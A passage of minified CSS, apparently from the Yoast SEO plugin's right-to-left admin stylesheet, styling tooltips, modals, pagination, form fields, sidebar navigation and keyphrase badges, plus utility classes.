skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-tooltip--right:before{--tw-translate-y:-50%;--tw-border-opacity:1;--tw-content:"";border-bottom-color:#0000;border-right-color:#0000;border-left-color:rgb(31 41 55/var(--tw-border-opacity));border-top-color:#0000;border-width:8px;content:var(--tw-content);position:absolute}.yst-root .yst-tooltip--left,.yst-root .yst-tooltip--right:before{left:100%;top:50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-tooltip--left{--tw-translate-y:-50%;margin-left:.75rem}.yst-root .yst-tooltip--left:before{--tw-translate-y:-50%;--tw-border-opacity:1;--tw-content:"";border-bottom-color:#0000;border-right-color:rgb(31 41 55/var(--tw-border-opacity));border-left-color:#0000;border-top-color:#0000;border-width:8px;content:var(--tw-content);right:100%;position:absolute;top:50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-validation-icon{pointer-events:none}.yst-root .yst-validation-icon--success{--tw-text-opacity:1;color:rgb(34 197 94/var(--tw-text-opacity))}.yst-root .yst-validation-icon--info{--tw-text-opacity:1;color:rgb(59 130 246/var(--tw-text-opacity))}.yst-root .yst-validation-icon--warning{--tw-text-opacity:1;color:rgb(245 158 11/var(--tw-text-opacity))}.yst-root .yst-validation-icon--error{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-validation-input{position:relative}.yst-root .yst-validation-input--success .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(134 239 172/var(--tw-ring-opacity));padding-left:2.5rem}.yst-root .yst-validation-input--success .yst-validation-input__input:focus,.yst-root .yst-validation-input--success .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(34 197 94/var(--tw-ring-opacity))}.yst-root .yst-validation-input--info .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(147 197 253/var(--tw-ring-opacity));padding-left:2.5rem}.yst-root .yst-validation-input--info .yst-validation-input__input:focus,.yst-root .yst-validation-input--info .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(59 130 246/var(--tw-ring-opacity))}.yst-root .yst-validation-input--warning .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(252 211 77/var(--tw-ring-opacity));padding-left:2.5rem}.yst-root .yst-validation-input--warning .yst-validation-input__input:focus,.yst-root .yst-validation-input--warning .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(245 158 11/var(--tw-ring-opacity))}.yst-root .yst-validation-input--error .yst-validation-input__input{--tw-ring-opacity:1;--tw-ring-color:rgb(252 165 165/var(--tw-ring-opacity));padding-left:2.5rem}.yst-root .yst-validation-input--error .yst-validation-input__input:focus,.yst-root .yst-validation-input--error .yst-validation-input__input:focus-within{--tw-ring-opacity:1;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity))}.yst-root .yst-validation-input__input:focus,.yst-root .yst-validation-input__input:focus-within{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-validation-input__icon{height:1.25rem;position:absolute;left:.625rem;top:.6875rem;width:1.25rem}.yst-root .yst-validation-message a{color:inherit;font-weight:500}.yst-root .yst-validation-message a:visited:hover{color:inherit}.yst-root .yst-validation-message a:focus{--tw-ring-color:currentColor}.yst-root .yst-validation-message--success{--tw-text-opacity:1;color:rgb(22 163 74/var(--tw-text-opacity))}.yst-root .yst-validation-message--info{--tw-text-opacity:1;color:rgb(37 99 235/var(--tw-text-opacity))}.yst-root .yst-validation-message--warning{--tw-text-opacity:1;color:rgb(217 119 6/var(--tw-text-opacity))}.yst-root .yst-validation-message--error{--tw-text-opacity:1;color:rgb(220 38 38/var(--tw-text-opacity))}.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__description,.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__label{opacity:.5}.yst-root .yst-autocomplete-field--disabled .yst-autocomplete-field__label{cursor:not-allowed}.yst-root .yst-autocomplete-field__description,.yst-root .yst-autocomplete-field__validation{margin-top:.5rem}.yst-root .yst-card{display:flex;flex-direction:column;position:relative}.yst-root .yst-card>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(1.5rem*var(--tw-space-y-reverse));margin-top:calc(1.5rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-card{--tw-bg-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);overflow:hidden;padding:1.5rem;transition-duration:.15s;transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1)}.yst-root .yst-card__header{--tw-bg-opacity:1;align-items:center;background-color:rgb(243 244 246/var(--tw-bg-opacity));display:flex;height:6rem;justify-content:center;margin-right:-1.5rem;margin-left:-1.5rem;margin-top:-1.5rem;padding:1.5rem;position:relative}.yst-root .yst-card__content{flex-grow:1}.yst-root .yst-card__footer{--tw-border-opacity:1;border-color:rgb(229 231 235/var(--tw-border-opacity));border-top-width:1px;padding-top:1.5rem}.yst-root .yst-checkbox-group--disabled .yst-checkbox-group__description,.yst-root .yst-checkbox-group--disabled .yst-checkbox-group__label{cursor:not-allowed;opacity:.5}.yst-root .yst-checkbox-group__label{margin-bottom:.5rem}.yst-root .yst-checkbox-group__options{display:flex;flex-direction:column;gap:.75rem}.yst-root .yst-checkbox-group__description{margin-bottom:1rem;margin-top:-.5rem}.yst-root .yst-feature-upsell{position:relative}.yst-root .yst-feature-upsell--default{--tw-grayscale:grayscale(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.yst-root .yst-feature-upsell--card{padding:1.5rem}.yst-root .yst-file-import>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(2rem*var(--tw-space-y-reverse));margin-top:calc(2rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-file-import__feedback{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-shadow:0 4px 6px -1px #0000001a,0 2px 4px -2px #0000001a;--tw-shadow-colored:0 4px 6px -1px var(--tw-shadow-color),0 2px 4px -2px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);padding:1rem}.yst-root .yst-file-import__feedback-header{align-items:flex-start;display:flex}.yst-root .yst-file-import__feedback-header>:not([hidden])~:not([hidden]){--tw-space-x-reverse:0;margin-right:calc(1rem*(1 - var(--tw-space-x-reverse)));margin-left:calc(1rem*var(--tw-space-x-reverse))}.yst-root .yst-file-import__feedback-figure{--tw-bg-opacity:1;align-items:center;background-color:rgb(243 229 237/var(--tw-bg-opacity));border-radius:9999px;display:flex;height:2rem;justify-content:center;width:2rem}.yst-root .yst-file-import__feedback-figure>svg{--tw-text-opacity:1;color:rgb(166 30 105/var(--tw-text-opacity));height:1.25rem;width:1.25rem}.yst-root .yst-file-import__feedback-title{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:block;font-weight:500;margin-bottom:.125rem;overflow-wrap:break-word}.yst-root .yst-file-import__feedback-description{display:block;font-size:.75rem;font-weight:500}.yst-root .yst-file-import__abort-button{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(241 245 249/var(--tw-bg-opacity));border-radius:9999px;color:rgb(100 116 139/var(--tw-text-opacity));display:inline-flex;flex-shrink:0;height:1.25rem;justify-content:center;width:1.25rem}.yst-root .yst-file-import__abort-button:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(71 85 105/var(--tw-text-opacity))}.yst-root .yst-file-import__abort-button:focus{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-file-import__abort-button>svg{height:.75rem;width:.75rem}.yst-root .yst-file-import__abort-button>svg>path{stroke-width:3}.yst-root .yst-modal{bottom:0;right:0;padding:1rem;position:fixed;left:0;top:0;z-index:10}@media (min-width:640px){.yst-root .yst-modal{padding:2rem}}@media (min-width:768px){.yst-root .yst-modal{padding:5rem}}.yst-root .yst-modal__layout{display:flex;min-height:100%}.yst-root .yst-modal--center .yst-modal__layout{align-items:center;justify-content:center}.yst-root .yst-modal--top-center .yst-modal__layout{align-items:flex-start;justify-content:center}.yst-root .yst-modal__overlay{--tw-bg-opacity:0.75;background-color:rgb(100 116 139/var(--tw-bg-opacity));bottom:0;right:0;position:fixed;left:0;top:0;transition-duration:.15s;transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1)}.yst-root .yst-modal__panel{--tw-bg-opacity:1;--tw-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a;--tw-shadow-colored:0 20px 25px -5px var(--tw-shadow-color),0 8px 10px -6px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);max-width:36rem;overflow:hidden;padding:1.5rem;position:relative;width:100%}.yst-root .yst-modal__close{display:block;position:absolute;left:1rem;top:1rem}.yst-root .yst-modal__close-button{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;color:rgb(148 163 184/var(--tw-text-opacity));position:relative;z-index:10}.yst-root .yst-modal__close-button:hover{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-modal__close-button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-modal__container{display:flex;flex-direction:column;max-height:calc(100vh - 2rem)}@media (min-width:640px){.yst-root .yst-modal__container{max-height:calc(100vh - 4rem)}}@media (min-width:768px){.yst-root .yst-modal__container{max-height:calc(100vh - 10rem)}}.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 5rem)}@media (min-width:640px){.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 7rem)}}@media (min-width:768px){.yst-root .yst-modal__panel .yst-modal__container{max-height:calc(100vh - 13rem)}}.yst-root .yst-modal__container-footer,.yst-root .yst-modal__container-header{flex-shrink:0}.yst-root .yst-modal__container-content{overflow:auto}.yst-root .yst-modal__panel .yst-modal__container-content{margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem}.yst-root .yst-notifications{display:flex;flex-direction:column;max-height:calc(100vh - 4rem);max-width:calc(100vw - 4rem);pointer-events:none;position:fixed;width:100%;z-index:20}.yst-root .yst-notifications>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(1rem*var(--tw-space-y-reverse));margin-top:calc(1rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-notifications--bottom-center{align-items:center;bottom:2rem}.yst-root .yst-notifications--bottom-left{bottom:2rem;right:2rem}.yst-root .yst-notifications--top-center{align-items:center;top:2rem}.yst-root .yst-notification--large{width:24rem}.yst-root .yst-notification__icon{height:1.25rem;width:1.25rem}.yst-root .yst-pagination{display:inline-flex;isolation:isolate}.yst-root .yst-pagination>:not([hidden])~:not([hidden]){--tw-space-x-reverse:0;margin-right:calc(-1px*(1 - var(--tw-space-x-reverse)));margin-left:calc(-1px*var(--tw-space-x-reverse))}.yst-root .yst-pagination{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.yst-root .yst-pagination-display__text{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(100 116 139/var(--tw-text-opacity));font-weight:400;padding:.5rem .75rem}.yst-root .yst-pagination-display__current-text{--tw-text-opacity:1;color:rgb(71 85 105/var(--tw-text-opacity));font-weight:600}.yst-root .yst-pagination-display__truncated{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));align-self:center;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(100 116 139/var(--tw-text-opacity));display:inline-flex;font-size:.8125rem;font-weight:600;padding:.5rem 1rem}.yst-root .yst-pagination__button{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));align-items:center;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(148 163 184/var(--tw-text-opacity));display:inline-flex;padding:.5rem;position:relative}.yst-root .yst-pagination__button:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}.yst-root .yst-pagination__button:focus{outline-color:#a61e69;outline-offset:0;z-index:20}.yst-root .yst-pagination__button--active{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);background-color:rgb(166 30 105/var(--tw-bg-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(255 255 255/var(--tw-text-opacity));font-size:.8125rem;font-weight:600;z-index:10}.yst-root .yst-pagination__button--active:hover{--tw-bg-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity))}.yst-root .yst-pagination__button--active:focus{z-index:20}.yst-root .yst-pagination__button--active:focus-visible{border-radius:.125rem;outline-color:#a61e69;outline-offset:2px;outline-style:solid;outline-width:2px}.yst-root .yst-pagination__button--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-pagination__button--disabled:hover{background-color:initial}.yst-root .yst-pagination__button--disabled:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-radio-group--inline-block .yst-radio-group__options{display:flex;flex-direction:row;flex-wrap:wrap;gap:.5rem}.yst-root .yst-radio-group--disabled .yst-radio-group__description,.yst-root .yst-radio-group--disabled .yst-radio-group__label{opacity:.5}.yst-root .yst-radio-group--disabled .yst-radio-group__label{cursor:not-allowed}.yst-root .yst-radio-group__label{margin-bottom:.5rem}.yst-root .yst-radio-group__options{display:flex;flex-direction:column;gap:.5rem}.yst-root .yst-radio-group__description{margin-bottom:1rem;margin-top:-.5rem}.yst-root .yst-select-field--disabled .yst-select-field__description,.yst-root .yst-select-field--disabled .yst-select-field__label{cursor:not-allowed;opacity:.5}.yst-root .yst-select-field__options{display:flex;flex-direction:column;gap:.75rem}.yst-root .yst-select-field__description,.yst-root .yst-select-field__validation{margin-top:.5rem}.yst-root .yst-mobile-navigation__top{position:sticky;top:0;width:100%;z-index:50}.yst-root .yst-mobile-navigation__dialog{bottom:0;display:flex;right:0;position:fixed;left:0;top:0;z-index:50}.yst-root .yst-mobile-navigation__dialog,.yst-root .yst-sidebar-navigation__sidebar{--yst-menu-text-color:#1e293b}.yst-root .yst-sidebar-navigation__list>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.125rem*var(--tw-space-y-reverse));margin-top:calc(.125rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-sidebar-navigation__list--indented{--yst-menu-text-color:#475569;margin-right:2rem}.yst-root .yst-sidebar-navigation__item--active.yst-sidebar-navigation__collapsible-button,.yst-root .yst-sidebar-navigation__item--active.yst-sidebar-navigation__link{--tw-bg-opacity:1!important;--tw-text-opacity:1!important;background-color:rgb(226 232 240/var(--tw-bg-opacity))!important;color:rgb(15 23 42/var(--tw-text-opacity))!important}.yst-root .yst-sidebar-navigation__item--active .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__item{list-style-type:none}.yst-root .yst-sidebar-navigation__item>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.125rem*var(--tw-space-y-reverse));margin-top:calc(.125rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-sidebar-navigation__item:first-child{margin-top:.125rem}.yst-root .yst-sidebar-navigation__collapsible~.yst-sidebar-navigation__collapsible{margin-top:.25rem}.yst-root .yst-sidebar-navigation__collapsible-button{align-items:center;border-radius:.375rem;color:var(--yst-menu-text-color);column-gap:.75rem;cursor:pointer;display:flex;font-size:.8125rem;font-weight:500;justify-content:center;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none;width:100%}.yst-root .yst-sidebar-navigation__collapsible-button:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__collapsible-button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-sidebar-navigation__link{align-items:center;border-radius:.375rem;color:var(--yst-menu-text-color);display:flex;font-size:.8125rem;font-weight:500;padding:.5rem .75rem;-webkit-text-decoration-line:none;text-decoration-line:none}.yst-root .yst-sidebar-navigation__link:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-sidebar-navigation__link:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root a.yst-sidebar-navigation__link:visited{color:var(--yst-menu-text-color)}.yst-root a.yst-sidebar-navigation__link:hover:visited{color:#0f172a}.yst-root a.yst-sidebar-navigation__link:focus{border-radius:.375rem;color:var(--yst-menu-text-color)}.yst-root .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));flex-shrink:0}.yst-group:hover .yst-root .yst-sidebar-navigation__icon{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}.yst-root .yst-tag-field--disabled .yst-tag-field__description,.yst-root .yst-tag-field--disabled .yst-tag-field__label{opacity:.5}.yst-root .yst-tag-field--disabled .yst-tag-field__label{cursor:not-allowed}.yst-root .yst-tag-field__description,.yst-root .yst-tag-field__validation{margin-top:.5rem}.yst-root .yst-text-field--disabled .yst-text-field__description,.yst-root .yst-text-field--disabled .yst-text-field__label{opacity:.5}.yst-root .yst-text-field--disabled .yst-text-field__label{cursor:not-allowed}.yst-root .yst-text-field--read-only .yst-text-field__label{cursor:default}.yst-root .yst-text-field__description,.yst-root .yst-text-field__validation{margin-top:.5rem}.yst-root .yst-textarea-field--disabled .yst-textarea-field__description,.yst-root .yst-textarea-field--disabled .yst-textarea-field__label{opacity:.5}.yst-root .yst-textarea-field--disabled .yst-textarea-field__label{cursor:not-allowed}.yst-root .yst-text-field--read-only .yst-textarea-field__label{cursor:default}.yst-root .yst-textarea-field__description,.yst-root .yst-textarea-field__validation{margin-top:.5rem}.yst-root .yst-toggle-field{display:flex;flex-direction:column;gap:.25rem}.yst-root .yst-toggle-field--disabled .yst-toggle-field__description,.yst-root .yst-toggle-field--disabled .yst-toggle-field__label-wrapper{opacity:.5}.yst-root .yst-toggle-field--disabled .yst-toggle-field__label,.yst-root .yst-toggle-field--disabled .yst-toggle-field__label-wrapper{cursor:not-allowed}.yst-root .yst-toggle-field__header{align-items:center;display:flex;flex-direction:row;gap:1.5rem;justify-content:space-between}.yst-root .yst-toggle-field__label-wrapper{align-items:center;display:flex;gap:.25rem}.yst-root .yst-toggle-field__description{margin-left:4.25rem}.yst-root .yst-tooltip-container{--yst-display-tooltip:none;position:relative}.yst-root .yst-tooltip-container:focus-within,.yst-root .yst-tooltip-container:hover{--yst-display-tooltip:inline-block}.yst-root .yst-tooltip-trigger{border-radius:.375rem;cursor:default}.yst-root .yst-tooltip-trigger:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-tooltip-trigger:focus-visible{--tw-border-opacity:0;--tw-bg-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-difficulty--very-easy{--tw-bg-opacity:1;background-color:rgb(110 231 183/var(--tw-bg-opacity))}.yst-root .yst-difficulty--easy{--tw-bg-opacity:1;background-color:rgb(5 150 105/var(--tw-bg-opacity))}.yst-root .yst-difficulty--possible{--tw-bg-opacity:1;background-color:rgb(251 191 36/var(--tw-bg-opacity))}.yst-root .yst-difficulty--difficult{--tw-bg-opacity:1;background-color:rgb(251 146 60/var(--tw-bg-opacity))}.yst-root .yst-difficulty--hard{--tw-bg-opacity:1;background-color:rgb(239 68 68/var(--tw-bg-opacity))}.yst-root .yst-difficulty--very-hard{--tw-bg-opacity:1;background-color:rgb(185 28 28/var(--tw-bg-opacity))}.yst-root .yst-intent-badge{align-items:center;border-radius:.125rem;display:flex;font-size:.8125rem;font-weight:600;height:1.25rem;justify-content:center;position:relative;text-transform:uppercase;width:1.25rem}.yst-root .yst-intent-badge.yst-intent-badge--i{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(191 219 254/var(--tw-bg-opacity));color:rgb(30 58 138/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--n{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(221 214 254/var(--tw-bg-opacity));color:rgb(76 29 149/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--c{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(253 230 138/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-intent-badge.yst-intent-badge--t{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(187 247 208/var(--tw-bg-opacity));color:rgb(20 83 45/var(--tw-text-opacity))}.yst-root .yst-table-button{gap:.5rem}.yst-root .yst-table-button.yst-button--secondary .yst-button-icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:.75rem;width:.75rem}.yst-root .yst-table-button.yst-button--tertiary{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-table-button.yst-button--tertiary:hover{--tw-text-opacity:1;color:rgb(185 28 28/var(--tw-text-opacity))}.yst-root .yst-table-button.yst-button--tertiary .yst-button-icon{height:.875rem;width:.875rem}.yst-root .yst-success-message{--tw-text-opacity:1;align-items:center;color:rgb(71 85 105/var(--tw-text-opacity));display:flex;font-size:.75rem;gap:.25rem;justify-content:center;line-height:1.25rem;padding:.25rem .75rem;transition-duration:.3s;transition-property:color,background-color,border-color,fill,stroke,opacity,box-shadow,transform,filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke,opacity,box-shadow,transform,filter,backdrop-filter,-webkit-text-decoration-color,-webkit-backdrop-filter;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1)}.yst-root .yst-success-message .yst-success-icon{height:1rem;width:1rem}.yst-root .yst-success-message.yst-success-message-add .yst-success-icon{--tw-text-opacity:1;color:rgb(74 222 128/var(--tw-text-opacity))}.yst-root .yst-success-message.yst-success-message-remove .yst-success-icon{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-modal-footer-link{align-items:center;display:flex;flex-direction:row;gap:.25rem}.yst-root .yst-modal-footer-link .yst-link-icon{height:.75rem;width:.75rem}.yst-root .yst-related-keyphrase-modal-content{max-height:60vh;min-height:350px;overflow-y:auto;padding:1.5rem}.yst-sr-only{clip:rect(0,0,0,0)!important;border-width:0!important;height:1px!important;margin:-1px!important;overflow:hidden!important;padding:0!important;position:absolute!important;white-space:nowrap!important;width:1px!important}.yst-pointer-events-none{pointer-events:none!important}.yst-invisible{visibility:hidden!important}.yst-fixed{position:fixed!important}.yst-absolute{position:absolute!important}.yst-relative{position:relative!important}.yst-sticky{position:sticky!important}.yst-inset-0{bottom:0!important;right:0!important;left:0!important;top:0!important}.yst-inset-5{bottom:1.25rem!important;right:1.25rem!important;left:1.25rem!important;top:1.25rem!important}.yst-inset-x-0{right:0!important;left:0!important}.yst-inset-y-0{bottom:0!important;top:0!important}.yst--left-3{right:-.75rem!important}.yst-top-0{top:0!important}.yst-right-0{left:0!important}.yst-bottom-12{bottom:3rem!important}.yst-top-2{top:.5rem!important}.yst-right-2{left:.5rem!important}.yst-bottom-0{bottom:0!important}.yst-top-1\/2{top:50%!important}.yst--right-\[6\.5px\]{left:-6.5px!important}.yst--top-\[6\.5px\]{top:-6.5px!important}.yst-left-4{right:1rem!important}.yst--bottom-6{bottom:-1.5rem!important}.yst-top-8{top:2rem!important}.yst-top-16{top:4rem!important}.yst-top-3\.5{top:.875rem!important}.yst-top-3{top:.75rem!important}.yst-left-0{right:0!important}.yst-z-30{z-index:30!important}.yst-z-40{z-index:40!important}.yst-z-10{z-index:10!important}.yst-z-20{z-index:20!important}.yst-order-last{order:9999!important}.yst-col-span-1{grid-column:span 1/span 1!important}.yst-m-0{margin:0!important}.yst-m-8{margin:2rem!important}.yst--m-6{margin:-1.5rem!important}.yst--mx-1{margin-right:-.25rem!important;margin-left:-.25rem!important}.yst-my-auto{margin-bottom:auto!important;margin-top:auto!important}.yst-mx-auto{margin-right:auto!important;margin-left:auto!important}.yst-my-4{margin-bottom:1rem!important;margin-top:1rem!important}.yst-my-2{margin-bottom:.5rem!important;margin-top:.5rem!important}.yst-my-6{margin-bottom:1.5rem!important;margin-top:1.5rem!important}.yst-mx-\[calc\(50\%-50vw\)\]{margin-right:calc(50% - 50vw)!important;margin-left:calc(50% - 